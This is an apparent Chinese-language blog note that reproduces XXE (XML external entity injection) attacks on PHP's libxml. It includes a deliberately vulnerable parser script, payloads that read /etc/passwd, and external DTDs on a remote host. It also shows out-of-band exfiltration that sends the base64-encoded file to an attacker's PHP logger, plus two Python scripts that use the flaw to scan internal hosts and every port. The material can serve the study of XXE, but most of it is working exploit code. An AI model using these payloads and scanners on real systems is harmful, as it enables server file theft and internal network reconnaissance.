xml实体注入
摘要:记录以下关于xml实体注入的复现以及利用
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,和sql注入漏洞一样,大概都是通过语法的利用来达到获取服务器信息的目的。不同的是sql注入漏洞是通过拼接sql语句,而xml实体注入是因为攻击者可以通过控制xml解析的url来引用服务器上文件来获取服务器信息。
关于xml外部实体
基本的xml语法在xml基础可以看到。
xml实体注入
xml外部实体注入的关键点就是控制xml解析的url。而控制url的最好的方法就是通过外部实体。
实验文件:
xml.php
注意以下几点:
- libxml_disable_entity_loader的参数为false表示允许加载实体。
- LIBXML_DTDLOAD:simplexml_load_file 函数在旧版本中是默认解析实体的,但是在新版本中,已经不再默认解析实体了,需要指定第三个参数为LIBXML_NOENT,不然不会解析实体的。
- LIBXML_DTDLOAD:LIBXML_DTDLOAD表示加载dtd,如果不指定这个参数不会解析dtd文件。
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
有回显的xml注入
直接通过实体
xml文件
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <ANY>&file;</ANY>
通过外部dtd引入实体
xml文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a SYSTEM "http://150.1.1.1/test4.dtd"> <a>&file;</a>
test4.dtd
<!ENTITY file SYSTEM "file:///etc/passwd">
引入外部dtd时文件名字可以修改为test4.txt,.dtd后缀不要求
通过实体引入实体
xml文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "http://150.1.1.1/test4.dtd"> %name; ]> <a>&file;</a>
test4.dtd
<!ENTITY file SYSTEM "file:///etc/passwd">
当因为/etc/passwd里面有xml的特殊字符导致xml解析器报错的时候,使用"<![CDATA["和 "]]>"
xml文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///etc/passwd"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://150.1.1.1/evil.dtd"> %dtd; ]> <roottag>&all;</roottag>
evil.dtd文件
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
无回显的xml注入
xml文件
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://150.1.1.1/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://150.1.1.1/test.php?file=%file;'>">
test.php
<?php
file_put_contents("jieguo.txt", $_GET['file']) ;
?>
然后可以在jieguo.txt下看到base64加密后的/etc/passwd
如果文件过大可以使用php://filter/zlib.deflate/convert.base64-encode/进行压缩
<?php
$a=file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
file_put_contents("yasuo", $a);
?>
使用php://filter/read=convert.base64-decode/zlib.inflate/进行解压
<?php
echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/www/admin/localhost_80/wwwroot/yasuo");
?>
注意点
刚开我以为这样构造就可以
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY url SYSTEM "http://150.1.1.1/test.php?file=%file;">]
>
<ANY>&url;</ANY>
最后才发现
xml使用SYSTEM引用外部dtd文件的时候是不会将%file;替换为/etc/passwd。
xml中的特殊字符
&符号:& 单引号:' 大于号:> 小于号:< 双引号:"
xml中不能出现特殊字符,否则会被当成xml语法的一部分进行处理。如果要在xml中使用&符号,要用&来代替
xml中的特殊字符的使用
# <和< # 以上两个字符在html中都可以表示小于号,但是xml中<会被当成xml的特殊符号和"<"符号效果一样。 # 下面两端代码作用相同 <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY int "<"> ]> <ANY>∫</ANY> <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY int "<"> ]> <ANY>∫</ANY> # 下面两端代码作用也相同 <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % int "<!ENTITY % send SYSTEM 'http://150.1.1.1/test.php?file=123'>"> %int; %send; ]> <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % int "<!ENTITY % send SYSTEM 'http://150.1.1.1/test.php?file=123'>"> %int; %send; ]>
因为出现xml的特殊符号"<"符号报错
因为出现xml的特殊符号"<"报错
url请求的时机
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % int "<!ENTITY % send SYSTEM 'http://150.1.1.1/test.php?file=123'>"> %int; %send; ]>
如果不调用%send;是不会去请求url的,只有当调用%send;才回去向test.php发送请求。
xml探测内网主机
#!/usr/bin/env python3
import requests
import base64
def build_xml(string,ip):
xml = """<?xml version="1.0" encoding="utf-8"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xxe>"""
xml = xml + "\r\n" + """&xxe;"""
xml = xml + "\r\n" + """</xxe>"""
# print(xml)
send_xml(xml,ip)
def send_xml(xml,ip):
headers = {'Content-Type': 'application/xml'}
try:
res= requests.post('http://150.158.163.34/xml.php', data=xml, headers=headers, timeout=5)
# print(base64.b64decode(res.text))
print (ip + " open")
except Exception:
print(ip + " close")
for i in range(34, 100):
try:
i = str(i)
ip = '150.1.1.' + i
# string = 'php://filter/zlib.deflate/convert.base64-encode/resource=http://' + ip + '/'
string = 'php://filter/read=convert.base64-encode/resource=http://' + ip + '/'
# print(string)
build_xml(string,ip)
except:
continue
xml探测端口
#!/usr/bin/env python3
import requests
import base64
def build_xml(string,ip):
xml = """<?xml version="1.0" encoding="utf-8"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xxe>"""
xml = xml + "\r\n" + """&xxe;"""
xml = xml + "\r\n" + """</xxe>"""
# print(xml)
send_xml(xml,ip)
def send_xml(xml,ip):
headers = {'Content-Type': 'application/xml'}
try:
res= requests.post('http://150.158.163.34/xml.php', data=xml, headers=headers, timeout=5)
# print(base64.b64decode(res.text))
if "refused" in res.text:
print(ip + " close")
else:
print (ip + " open")
except Exception:
print(ip + " close")
for i in range(0, 65535):
try:
i = str(i)
ip = '150.1.1.1:' + i
# string = 'php://filter/zlib.deflate/convert.base64-encode/resource=http://' + ip + '/'
string = 'php://filter/read=convert.base64-encode/resource=http://' + ip + '/'
# print(string)
build_xml(string,ip)
except:
continue
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。